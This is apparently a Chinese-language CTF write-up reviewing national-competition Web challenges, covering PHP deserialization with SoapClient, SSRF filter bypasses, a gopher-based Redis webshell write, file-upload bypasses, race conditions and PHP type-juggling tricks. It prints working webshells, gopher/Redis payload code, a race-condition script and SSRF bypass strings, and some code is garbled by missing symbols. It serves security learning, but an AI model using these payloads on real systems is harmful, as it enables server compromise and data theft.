CTF国赛Web漏洞实战:反序列化、SSRF与文件上传深度解析

发布时间:2026/8/27 6:45:54
CTF国赛Web漏洞实战:反序列化、SSRF与文件上传深度解析 1. 从“刷题记录”到“实战复盘”一次完整的国赛Web赛题解构之旅最近在整理去年的CTF学习笔记翻到了CISCN国赛初赛的Web题目。当时是跟着CTFShow平台上的题目一路打下来的现在回头看这些题目不仅仅是“解出来”那么简单每一道题背后都对应着一个或多个经典且仍在活跃的Web安全漏洞场景。很多人可能觉得“刷题记录”就是贴个payload、写个flag就完事了但我觉得真正有价值的部分是理解出题人的思路、还原漏洞的成因、并思考在真实环境中如何防御。今天我就以一名Web安全从业者的视角把这次“刷题”过程重新梳理成一次深度的“实战复盘”。无论你是刚入门CTF的新手还是想巩固Web安全知识体系的老兵希望这篇超过五千字的详细拆解能带你绕过那些只给答案的“WP”的浅滩潜入漏洞原理与利用技巧的深海。2. 环境认知与解题框架国赛Web题的典型特征在深入每一道题之前我们有必要先建立对CISCN国赛Web题目风格的认知。这能帮助我们在遇到新题时快速定位方向而不是盲目地“乱试”。2.1 题目风格与考点分布国赛级别的Web题目尤其是初赛通常不会追求极度冷门的零日漏洞而是侧重于对基础漏洞的深刻理解和多种漏洞的组合利用。考点非常集中主要围绕以下几个核心领域代码审计与反序列化这是国赛的“常驻嘉宾”。题目往往会提供一个完整的、小型化的PHP、Java或Python Web应用源码。你需要读懂代码逻辑找到存在缺陷的函数如unserialize(),eval(),file_get_contents()等并构造出可以利用的链POP Chain。这考察的是你阅读代码、理解程序运行流程和对象交互的能力。SSRF服务端请求伪造与内网渗透题目环境通常是一个“靶机”容器这个容器里可能运行着多个服务如Web、Redis、MySQL、一个内网管理后台等。Web题目作为入口点需要你利用SSRF漏洞去探测或攻击内网的其他服务最终拿到flag。这模拟了攻击者突破边界服务器后横向移动的经典场景。文件操作与条件竞争涉及文件上传、文件包含、文件读取/删除等操作。难点往往在于绕过限制黑名单、内容检测、路径跳转或利用操作的时间差条件竞争Race Condition来完成攻击例如在文件被删除前访问它或在临时文件被清除前包含它。PHP特性与Trick虽然PHP版本可能较新但很多历史遗留的“特性”和字符串处理、类型转换的“怪癖”仍然是出题热点。比如利用与的区别、字符串与数字的弱类型比较、某些特殊字符在正则或函数中的处理差异等。SSTI服务端模板注入在PythonFlask/Jinja2、JavaThymeleaf等框架的题目中常见。你需要识别模板引擎类型并找到绕过沙箱或调用危险函数的方法来执行命令。2.2 通用解题思路与工具箱面对一道陌生的Web题我个人的标准化排查流程如下这个流程在实战渗透测试中同样适用信息收集看页面F12查看前端源码、注释、JS文件寻找隐藏路径、接口、提示。扫目录使用dirsearch、gobuster等工具进行目录爆破寻找备份文件.git,.bak,.swp、管理员后台/admin,/manage、源码/www.zip,/source.tar.gz等。测参数对每一个可见的输入点GET/POST参数、Cookie、Headers进行Fuzz尝试注入、路径遍历、命令执行等Payload。查技术栈通过HTTP响应头如X-Powered-By、Cookie格式、错误信息等判断后端语言PHP/Java/Python和框架。代码分析如果有源码通读入口文件如index.php理解程序路由和主要功能模块。追踪用户输入从$_GET、$_POST、$_COOKIE等超全局变量开始看数据流向了哪些函数。定位危险函数在脑海中有一个“危险函数清单”如命令执行system,exec,passthru,shell_exec,反引号。代码执行eval,assert,preg_replace/e修饰符在旧版本中危险。文件包含include,require,include_once,require_once。文件操作file_get_contents,file_put_contents,unlink,move_uploaded_file。反序列化unserialize。分析过滤与校验查看代码中对用户输入做了哪些过滤str_replace,preg_match,htmlspecialchars等思考如何绕过。漏洞利用与链式构造将找到的漏洞点串联起来。例如一个简单的文件上传文件包含就能构成GetShell。或者一个反序列化入口点需要你利用项目中的其他类构造一个POP链来触发文件写入或命令执行。利用在线工具或本地环境测试Payload如PHP反序列化利用链构造、SSTI Payload生成等。权限提升与Flag获取拿到Webshell或命令执行权限后首先检查当前用户权限whoami、可读文件、sudo -l列表。find / -name \*flag*\ 2/dev/null或find / -type f -name \*.txt\ 2/dev/null | xargs grep -l \flag{\是寻找flag的常用命令。Flag可能不在Web目录也可能需要提权到root才能读取。3. 核心漏洞场景深度复盘与Payload构造接下来我将选取国赛初赛中几个最具代表性的漏洞类型结合具体题目以CTFShow平台上的类似题目为参考模型进行深度复盘。我不会只贴答案而是会详细拆解“为什么这里会有漏洞”以及“这个Payload是如何一步步构造出来的”。3.1 场景一PHP反序列化中的“幽灵”链——利用内置类题目特征给你一段PHP代码其中有一个unserialize()函数它的参数部分或全部可控。但代码里自定义的类看起来“人畜无害”没有明显的__destruct或__wakeup方法可以利用。关键思路当自定义类无法利用时我们的目光要转向PHP的内置类。PHP有很多内置类在反序列化时会被实例化并且它们的一些魔术方法或属性可能成为我们攻击的跳板。经典案例利用SoapClient进行SSRF假设题目代码如下?php highlight_file(__FILE__); class Welcome{ public $name; public $arg; function __construct(){ $this-name Guest; } function __destruct(){ if($this-name admin){ eval($this-arg); } } } $data $_GET[data]; if(isset($data)){ unserialize($data); }看起来我们需要控制$name为admin并且$arg为要执行的代码。但这里有个陷阱__construct构造函数在反序列化时不会被调用它只在新对象被new的时候调用。反序列化时对象属性是从序列化字符串中直接还原的。所以我们直接构造一个Welcome对象设置name为adminarg为system(‘ls’);即可。但出题人可能会把Welcome类的__destruct改得毫无用处。这时我们就要引入SoapClient。SoapClient的攻击原理SoapClient是PHP用于调用SOAP Web服务的类。它有一个__call魔术方法当调用该对象不存在的方法时会被触发。更重要的是在反序列化一个SoapClient对象时如果它的__location选项指向一个我们控制的服务器并且我们调用它的某个方法触发__call它就会向__location指定的地址发起一个HTTP POST请求。这个请求的User-Agent头和HTTP SOAPAction头部分内容我们可以通过序列化数据来控制。利用步骤构造恶意SoapClient对象$target http://127.0.0.1:8080/flag.php; // 假设内网flag在此 $post_data tokensecret_keycmdcat /flag; // 我们想发送的POST数据 $headers [ X-Forwarded-For: 127.0.0.1, Cookie: admin1 ]; // 我们需要构造一个CRLF回车换行来注入自定义头部。但SoapClient对__location等有过滤。 // 一种方法是利用其__location和__uri属性以及user_agent选项。 // 更常见的利用方式是让SoapClient发起请求我们监听然后查看其原始请求包从中提取信息比如响应中的flag。 $client new SoapClient(null, [ location $target, uri hello, user_agent my_agent . \r\n . Cookie: PHPSESSIDhacked . \r\n . X-Forwarded-For: 127.0.0.1 ]); // 但注意直接这样注入头部可能在序列化时被转义。更稳定的方法是利用__location指向一个我们控制的服务器然后在我们服务器上收到请求查看其完整的头部和主体其中可能包含敏感信息。实际上更经典的利用是进行CRLF注入在user_agent中插入\r\n然后加上自定义头部如Cookie: admin1。但PHP版本和设置可能限制此利用。在CTF中常用来与__call结合触发一个SSRF请求。触发SSRF 在我们的漏洞点反序列化这个SoapClient对象后我们需要想办法调用它的任意一个方法比如not_exist_function()从而触发__call发起请求。 有时题目中会有其他代码逻辑来触发这个调用。如果没有这个链可能就无法完成。这就是反序列化题目难的地方——你需要找到一个“启动器”gadget。配合其他链 单独一个SoapClient可能没用。但如果题目中有一个类A它的__destruct或__toString方法里调用了$this-obj-some_method()而我们能让$this-obj成为我们的SoapClient对象那么当A被销毁或当作字符串使用时就会触发对SoapClient不存在的some_method的调用从而触发__call发起SSRF。class A { public $obj; function __destruct() { $this-obj-not_exist(); // 触发SoapClient的__call } } $a new A(); $a-obj $client; // $client是我们构造的SoapClient echo serialize($a);这样我们就用自定义类A作为“桥梁”连接了反序列化入口和SoapClient的利用。实操心得PHP反序列化题目拿到源码先别慌。第一步搜unserialize。第二步把所有类的魔术方法__destruct,__wakeup,__toString,__call,__get,__set都看一遍画出一个类与类之间方法调用的关系图。第三步寻找可以控制属性、并能触发危险函数如eval,system,file_put_contents的路径。如果找不到立刻思考PHP内置类SoapClient,SimpleXMLElement,Error/Exception用于触发__toString等。3.2 场景二SSRF的“迂回”战术——攻击内网脆弱组件题目特征题目提供一个可以发起网络请求的功能点如图片加载、URL导入、PDF生成、请求代理等并且通常伴随着对目标地址的过滤如禁止127.0.0.1、localhost或只允许http协议。关键思路SSRF的利用核心在于绕过过滤和探测内网。目标不仅是读取本地文件file://协议更重要的是作为跳板攻击内网中其他无法从外网直接访问的服务如Redis、MySQL、Memcached或者内网管理后台。绕过过滤的常见技巧IP地址变形十进制IP2130706433等价于127.0.0.1。八进制IP0177.0.0.1等价于127.0.0.1。十六进制IP0x7f.0x0.0x0.0x1等价于127.0.0.1。IP省略格式127.1等价于127.0.0.1。域名指向localtest.me、localhost.末尾加点等域名可能解析到127.0.0.1。URL解析差异利用http://evil.com127.0.0.1 某些库的解析结果可能是127.0.0.1。利用#http://127.0.0.1#evil.com#后为片段可能被忽略。利用DNS重绑定需要控制一个域名将其A记录设置很短的TTL先返回一个外网IP通过校验随后迅速改为127.0.0.1当服务器第二次解析真正请求时就会访问内网。这在CTF中较少见但实战中威胁很大。协议利用file://直接读取文件。file:///etc/passwd。gopher://一个非常强大的协议可以构造任意格式的TCP数据包用于攻击内网的Redis、MySQL、FastCGI等。这是SSRF题目的“大杀器”。dict://可以探测端口是否开放有时也能泄露信息。利用Gopher攻击内网Redis 假设我们通过SSRF确定内网172.18.0.2:6379运行着Redis且未设密码。目标利用Redis未授权访问写Webshell。原理Redis可以通过CONFIG SET dir和CONFIG SET dbfilename来设置工作目录和数据库文件名然后通过SET命令将恶意代码写入一个键再通过SAVE命令将内存数据持久化到磁盘从而在指定目录生成一个文件。构造Gopher Payload Redis通信是纯文本的每行以\r\n结尾。我们要发送以下命令flushall config set dir /var/www/html config set dbfilename shell.php set payload ?php eval($_POST[cmd]);? save需要将其转换为符合Gopher协议格式的URL。可以使用Python脚本生成import urllib.parse command \\\flushall config set dir /var/www/html config set dbfilename shell.php set payload \?php eval(\\\\$_POST[cmd]);?\ save \\\ # Redis协议格式化每行前加*1\\r\\n$长度\\r\\n命令\\r\\n但更简单的是直接用\\r\\n分隔然后对整个字符串进行URL编码。 # 实际上Gopher发送的是原始TCP流。一个更准确的构造方式是模拟Redis的协议格式。 # 这里给出一个简化版的生成方法实际比赛可能有工具 payload command.replace(\\n, \\r\\n) gopher_url gopher://172.18.0.2:6379/_ urllib.parse.quote(payload) print(gopher_url)生成的URL类似gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...。触发将生成的Gopher URL作为SSRF漏洞点的输入提交。服务器会向Redis发送这些命令从而在Web目录写入shell.php。注意事项Gopher协议在某些环境的PHP中默认不被curl或file_get_contents支持需要编译时开启。比赛环境通常会确保其可用。在实际利用前可以先尝试gopher://172.18.0.2:6379/_%2A1%0D%0A%244%0D%0Ainfo%0D%0A来测试Redis连通性和获取信息。3.3 场景三文件上传的“组合拳”——绕过内容检测与条件竞争题目特征提供一个文件上传功能有前端和后端校验。常见校验方式前端JS校验后缀、后端pathinfo或getimagesize校验文件头、黑名单过滤后缀禁止.php,.phtml等、重命名文件。关键思路单一绕过方法往往失效需要组合多种技巧。1. 绕过前端JS校验 直接浏览器禁用JS或使用Burp Suite拦截修改请求即可轻松绕过。这是最基本的步骤。2. 绕过MIME类型检测 后端可能检查Content-Type如image/jpeg。在Burp中直接将Content-Type改为image/jpeg即可。3. 绕过文件头检测getimagesize, exif_imagetype 这些函数会读取文件开头几个字节魔数判断是否为图片。我们可以在真正的PHP Shell代码前添加图片头。GIFGIF89aJPEG\xFF\xD8\xFF\xE0PNG\x89PNG\r\n\x1a\n使用命令生成一个包含图片头的Webshellecho -e \\x89PNG\\r\\n\\x1a\\n?php eval($_POST[\\\cmd\\\]);? shell.png.php或者直接用一个正常的图片用文本编辑器在文件末尾追加PHP代码。如果服务器只检查文件头不检查整体结构这种方法可能生效。4. 绕过后缀黑名单大小写.Php,.pHp。点号绕过.php.Windows下末尾的点会被去除。空格绕过.php末尾空格需Burp中修改十六进制为20。双写后缀.pphphp 如果过滤逻辑是删除php字符串可能被处理成.php。利用解析漏洞Apache如果存在AddType application/x-httpd-php .php可以尝试.php.jpg但通常不行。更常见的是利用多后缀解析如配置不当导致.php.jpg被解析为PHP。或者利用.htaccess文件如果允许上传。IIS;截断旧版本如shell.php;.jpg。Nginx如果配置了fastcgi_split_path_info且规则不当可能导致shell.jpg/xxx.php被解析为PHP。利用.htaccess如果服务器允许上传.htaccess文件我们可以上传一个包含以下内容的.htaccess文件AddType application/x-httpd-php .jpg这样所有.jpg文件都会被当作PHP执行。然后我们再上传一个包含Shell代码的.jpg文件。5. 条件竞争Race Condition 这是高阶技巧。场景服务器先允许你上传文件保存为临时文件或指定名称然后进行安全检查如病毒扫描、内容校验如果检查不通过再删除文件。攻击方法利用检查与删除之间的微小时间窗口疯狂并发访问上传的文件。如果文件在删除前被访问到其中的代码就会被执行。工具使用Python多线程或Burp Suite的Turbo Intruder插件以极快的速度连续发起对上传文件路径的请求。import threading import requests def attack(): while True: r requests.get(http://target/upload/temp/shell.php) if success in r.text: # 根据你的shell返回特征判断 print(Success!) break threads [] for i in range(50): t threading.Thread(targetattack) threads.append(t) t.start() for t in threads: t.join()你需要一个能快速返回的Webshell如?php system(‘id’); ?并在它被执行的那一刻捕获输出。踩坑实录在一次比赛中我遇到了一个上传点它使用了move_uploaded_file($_FILES[‘file’][‘tmp_name’], ‘uploads/’ . md5($name) . ‘.jpg’)。这意味着它进行了重命名且后缀写死为.jpg。我尝试了.htaccess攻击但服务器禁止.htaccess。最后发现它没有检查文件内容但文件被重命名后无法直接执行。突破口在于它同时提供了一个“查看图片”的功能通过file_get_contents(‘uploads/’ . $filename)读取文件并输出。这里存在一个文件包含漏洞我上传了一个内容为?php system(‘ls’);?的“图片”然后通过查看功能传递filename../../uploads/{md5值}.jpg服务器包含了这个文件但由于后缀是.jpg没有以PHP解析。然而我注意到查看功能的响应头是Content-Type: text/html。我尝试使用php://filter包装器filenamephp://filter/convert.base64-encode/resourceuploads/{md5值}.jpg。这样文件内容被Base64编码后输出我解码后得到了?php system(‘ls’);?的源码但并未执行。这说明没有文件包含执行漏洞。最终我意识到真正的漏洞是SSRF查看功能使用了file_get_contents并且参数完全可控。我可以让它读取/etc/passwd或者构造file://、http://甚至gopher://协议去攻击内网。这道题完美诠释了“组合拳”上传点本身很坚固但它与另一个功能文件查看结合产生了新的攻击面SSRF。4. 实战中的信息收集与脑洞技巧CTF Web题有时就像解谜需要一些“脑洞”和细致入微的观察。1. 隐藏信息在哪儿HTTP响应头X-Powered-By,Server,Set-Cookie可能包含框架信息如PHPSESSID的格式。前端注释CtrlU查看网页源码注释里常有提示、备份路径、测试账号。JS文件前端逻辑可能隐藏API接口、路径甚至存在前端加密/解密函数需要你分析并复用来构造请求。错误信息故意触发错误如参数类型错误、文件不存在可能暴露出绝对路径、数据库语句、框架版本等。备份文件.git/目录泄露是经典漏洞。使用githack或dvcs-ripper工具可以还原源码。此外.svn/,.DS_Store,index.php.bak,www.zip,tar.gz等都要尝试。Cookie与SessionCookie可能经过编码Base64、Hex或加密。尝试解码可能发现是序列化后的字符串存在反序列化漏洞。Session文件路径如/tmp/sess_[PHPSESSID]如果可知且能包含文件可能造成RCE。2. 利用PHP特性“搞事情”弱类型比较0e123456 0e987654结果为true因为两者都被认为是科学计数法的0。这在MD5碰撞、哈希比较绕过中常用。字符串与数字比较123abc 123结果为true。abc 0结果也为true。这可以绕过某些数字校验。in_array() 松散比较in_array($input, $array)默认是松散比较$input“1abc”$array[1,2,3]会返回true。第三个参数设为true可进行严格比较。strcmp() 漏洞strcmp($str1, $str2)如果$str1是数组$_POST[‘a’]会返回NULL而NULL0为true。可以绕过一些密码检查。preg_match() 与 /e 修饰符已废弃但老题可能出现preg_replace(“/.*/e”, $_GET[‘cmd’], “.”)可以执行命令。3. 数据库相关技巧SQL注入国赛级别的SQL注入很少是简单的‘ or 11 --。可能是盲注、时间盲注、需要编码绕过WAF。熟悉substr(),ascii(),if(),sleep()等函数。使用sqlmap的--tamper脚本如space2commentequaltolike绕过。SQLite注入与MySQL略有不同没有information_schema而是sqlite_master。联合查询时需要注意列数匹配。无列名注入当union select被过滤或者你不知道列名时可以使用select 1,2,3与已知查询进行联合通过页面回显位置确定输出点。更进一步可以使用select1from (select 1)a join (select 2)b join (select 3)c这类技巧。5. 工具链与调试环境搭建建议“工欲善其事必先利其器”。一个高效的CTF Web解题环境能极大提升效率。1. 浏览器与插件Chrome/Firefox开发者工具基础中的基础用于分析网络请求、查看/修改DOM、调试JS。Hack-Tools/Wappalyzer快速识别网站技术栈。EditThisCookie方便地查看和修改Cookie。2. 代理与抓包Burp Suite ProfessionalWeb安全测试的“瑞士军刀”。Repeater用于重放和修改请求Intruder用于爆破和FuzzScanner用于自动扫描漏洞解题慎用可能被封IPDecoder/Comparer也很有用。Turbo Intruder插件对于条件竞争、高频请求场景必不可少。OWASP ZAP开源替代品功能同样强大。3. 漏洞利用与开发Python3 Requests库编写自动化脚本处理Cookie、Session进行复杂的逻辑交互或爆破。PHP本地环境用于测试PHP代码、反序列化Payload。可以用docker run -it --rm -p 80:80 -v $PWD:/var/www/html php:7.4-apache快速启动。Node.js用于处理JS逆向、编写SSTI的Exp。CyberChef在线或本地部署编解码的神器支持各种编码Base64, Hex, URL, ROT13、哈希、加密解密、时间戳转换等图形化操作非常直观。4. 信息收集与目录爆破dirsearch/gobuster目录爆破工具。gobuster dir -u http://target -w /path/to/wordlist。subfinder/assetfinder用于子域名收集在CTF中较少但在一些涉及多域名的题目中可能有用。nmap端口扫描。但CTF容器环境通常只开必要端口用处有限。5. 专项漏洞利用工具Gopherus自动生成攻击Redis、MySQL、FastCGI等的Gopher Payload。ysoserial/PHPGGC生成Java/PHP反序列化利用链的Payload。tplmap检测和利用SSTI漏洞。6. 思维与习惯保持记录使用Obsidian、Typora等Markdown笔记软件记录每道题的解题思路、Payload、参考链接。好记性不如烂笔头这份“刷题记录”就是你成长的轨迹。搭建复现环境对于复杂的题目尤其是涉及交互的尽量在本地用Docker复现环境。这能让你不受比赛平台限制反复调试Payload加深理解。阅读官方WP与社区讨论做完题后一定要去看官方Writeup和其他人的解法。你可能会发现完全不同的、更巧妙的思路这往往是进步最快的时候。最后我想说CTF比赛中的Web题目是现实世界Web漏洞的浓缩和抽象。通过这样高强度的“刷题”和“复盘”我们锻炼的不仅仅是使用工具和记忆Payload的能力更重要的是培养一种系统性的安全思维如何由点及面地收集信息如何沿着数据流追踪风险如何将多个薄弱点组合成一条完整的攻击链。这种能力无论是在未来的CTF赛场上还是在真实的企业安全建设与渗透测试工作中都是无比珍贵的。